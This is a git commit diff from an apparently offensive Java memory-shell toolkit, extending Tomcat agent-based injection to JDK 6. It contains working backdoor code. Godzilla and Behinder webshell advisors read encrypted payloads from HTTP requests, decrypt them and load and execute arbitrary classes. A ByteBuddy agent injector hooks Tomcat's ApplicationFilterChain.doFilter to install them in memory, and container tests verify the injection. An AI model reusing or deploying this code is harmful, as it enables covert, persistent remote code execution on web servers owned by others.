feat: tomcat agent support jdk6

This commit is contained in:
ReaJason
2025-01-03 02:16:51 +08:00
parent b694073f33
commit 2b34b80e40
10 changed files with 86 additions and 74 deletions
@@ -18,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,6 +35,8 @@ public class Tomcat5ContainerTest {
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
@@ -64,7 +65,10 @@ public class Tomcat5ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar)
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
);
}
@@ -78,6 +82,6 @@ public class Tomcat5ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer);
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container);
}
}
@@ -18,8 +18,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.ContainerTool.tomcatPid;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,6 +36,8 @@ public class Tomcat6ContainerTest {
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
@@ -64,7 +66,10 @@ public class Tomcat6ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
);
}
@@ -78,6 +83,6 @@ public class Tomcat6ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer);
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container);
}
}
@@ -18,8 +18,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.ContainerTool.tomcatPid;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,6 +36,8 @@ public class Tomcat7ContainerTest {
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
@@ -64,7 +66,10 @@ public class Tomcat7ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
);
}
@@ -77,6 +82,6 @@ public class Tomcat7ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_7, packer);
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_7, packer, container);
}
}
+1
View File
@@ -15,6 +15,7 @@ java {
}
dependencies {
implementation 'net.bytebuddy:byte-buddy:1.+'
providedCompile 'javax.servlet:javax.servlet-api:3.0.1'
providedCompile 'javax.websocket:javax.websocket-api:1.1'
}
@@ -11,7 +11,6 @@ import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
@@ -55,7 +54,19 @@ public class TomcatFilterChainBehinderAdvisor {
session.setAttribute("u", pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(Base64.getDecoder().decode(req.getReader().readLine()));
byte[] data = null;
Class<?> base64;
String parameter = req.getReader().readLine();
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
byte[] bytes = c.doFinal(data);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
@@ -11,7 +11,6 @@ import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Method;
import java.util.Base64;
/**
* @author ReaJason
@@ -37,7 +36,17 @@ public class TomcatFilterChainGodzillaAdvisor {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
String parameter = request.getParameter(pass);
byte[] data = Base64.getDecoder().decode(parameter);
byte[] data = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
Cipher c = Cipher.getInstance("AES");
SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES");
c.init(2, keySpec);
@@ -58,7 +67,16 @@ public class TomcatFilterChainGodzillaAdvisor {
c.init(1, keySpec);
byte[] encryptBytes = c.doFinal(arrOut.toByteArray());
String value = Base64.getEncoder().encodeToString(encryptBytes);
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes);
}
response.getWriter().write(value);
response.getWriter().write(md5.substring(16));
}
@@ -2,9 +2,13 @@ package com.reajason.javaweb.memshell.tomcat.injector;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -12,7 +16,25 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @author ReaJason
* @since 2024/12/28
*/
public class TomcatFilterChainAgentInjector {
public class TomcatFilterChainAgentInjector implements AgentBuilder.Transformer {
static Class<?> interceptorClass = null;
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
@@ -28,18 +50,13 @@ public class TomcatFilterChainAgentInjector {
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
Class<?> interceptorClass = Class.forName(getClassName());
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("org.apache.catalina.core.ApplicationFilterChain"))
.transform(
(builder, typeDescription, classLoader,
module, protectionDomain) ->
builder.visit(Advice.to(interceptorClass).on(named("doFilter")))
)
.transform(new TomcatFilterChainAgentInjector())
.installOn(inst);
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
}
+1 -45
View File
@@ -1,14 +1,4 @@
import { UrlPatternTip } from "@/components/tips/url-pattern-tip.tsx";
import {
AlertDialog,
AlertDialogAction,
AlertDialogCancel,
AlertDialogContent,
AlertDialogDescription,
AlertDialogFooter,
AlertDialogHeader,
AlertDialogTitle,
} from "@/components/ui/alert-dialog";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
import { FormControl, FormDescription, FormField, FormItem, FormLabel } from "@/components/ui/form.tsx";
import { Input } from "@/components/ui/input.tsx";
@@ -44,8 +34,6 @@ export function MainConfigCard({
const [shellToolMap, setShellToolMap] = useState<{ [toolName: string]: string[] }>();
const [shellTools, setShellTools] = useState<string[]>([]);
const [shellTypes, setShellTypes] = useState<string[]>([]);
const [openAgentConfirm, setOpenAgentConfirm] = useState(false);
const [currentShellType, setCurrentShellType] = useState<string>("");
const handleServerChange = (value: string) => {
if (mainConfig) {
@@ -247,39 +235,7 @@ export function MainConfigCard({
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel></FormLabel>
<AlertDialog open={openAgentConfirm} onOpenChange={setOpenAgentConfirm}>
<AlertDialogContent>
<AlertDialogHeader>
<AlertDialogTitle>Agent Java8 </AlertDialogTitle>
<AlertDialogDescription> JRE Java8</AlertDialogDescription>
</AlertDialogHeader>
<AlertDialogFooter>
<AlertDialogCancel>Cancel</AlertDialogCancel>
<AlertDialogAction
onClick={() => {
form.setValue("targetJdkVersion", "52");
form.setValue("shellType", currentShellType);
}}
>
Confirm
</AlertDialogAction>
</AlertDialogFooter>
</AlertDialogContent>
</AlertDialog>
<Select
onValueChange={(v) => {
if (
v.startsWith("Agent") &&
Number.parseInt(form.getValues("targetJdkVersion") as string) === 50
) {
setOpenAgentConfirm(true);
setCurrentShellType(v);
} else {
field.onChange(v);
}
}}
value={field.value}
>
<Select onValueChange={field.onChange} value={field.value}>
<FormControl>
<SelectTrigger className="h-8">
<SelectValue placeholder="请选择" />
-5
View File
@@ -81,11 +81,6 @@ function IndexComponent() {
return false;
}
if (values.shellType.startsWith("Agent") && values.targetJdkVersion === "50") {
toast.warning("Agent 注入方式当前仅支持 Java8 以上");
return false;
}
if (!values.shellType.startsWith("Agent") && values.packingMethod === "AgentJar") {
toast.warning("Agent 注入方式当前仅支持 Tomcat,只有 Agent 注入方式才可使用 AgentJar 打包方式");
return false;